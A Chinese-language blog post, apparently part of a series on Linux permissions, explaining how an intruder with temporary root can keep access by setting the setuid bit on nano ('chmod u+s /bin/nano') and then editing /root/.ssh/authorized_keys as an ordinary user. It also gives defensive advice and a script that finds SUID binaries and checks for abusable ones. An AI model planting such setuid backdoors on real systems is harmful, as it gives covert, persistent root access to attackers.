权限管理二:如何通过setuid设置root后门

上一篇:权限管理

参考资料: https://gist.github.com/dergachev/7916152 、https://pentestlab.blog/tag/find/

为什么你不能做到,在一个已经被渗透的机器上禁止提权?

假设某人临时获得了root权限访问了你的系统,即使你禁止了提权的方式,他们仍然 有数不清的方式在以后重新访问你的系统。

简单提一下一些明显的方法:

  • 添加/root/.ssh/authorized_keys
  • 添加新用户
  • 运行恶意软件
  • 使用cron job定时任务

使用setuid可以使得任何用户运行root权限,而且你甚至不知道系统是否被入侵过。

案例:nano

1
2
3
4
5
6
7
ssh root@target

whoami                 #    root
ls -al /bin/nano       #    -rwxr-xr-x 1 root root 191976 2010-02-01 20:30 /bin/nano

chmod u+s /bin/nano    # installs the backdoor

4

一旦nano 后门被设置,之后hacker可以用非root用户获取到root权限。

例如:nano /root/.ssh/authorized_keys

  • 一旦系统被黑,特别是获取到root权限,你就再也不能信任它了。你必须找到源头漏洞在哪里, 然后用一个干净的系统重置,并且打上补丁。

  • 通常,你不能允许任何不信任的组织使用shell连入系统,因为你可能对linux漏洞的知识不精通。

检查suid的bash script

1
2
3
4
5
#!/bin/bash
cd /tmp
find / -perm -4000 2>/dev/null > examSUID.txt
cat examSUID.txt | grep -E "nmap|vim|find|bash|more|less|nano|cp"
rm /tmp/examSUID.txt

5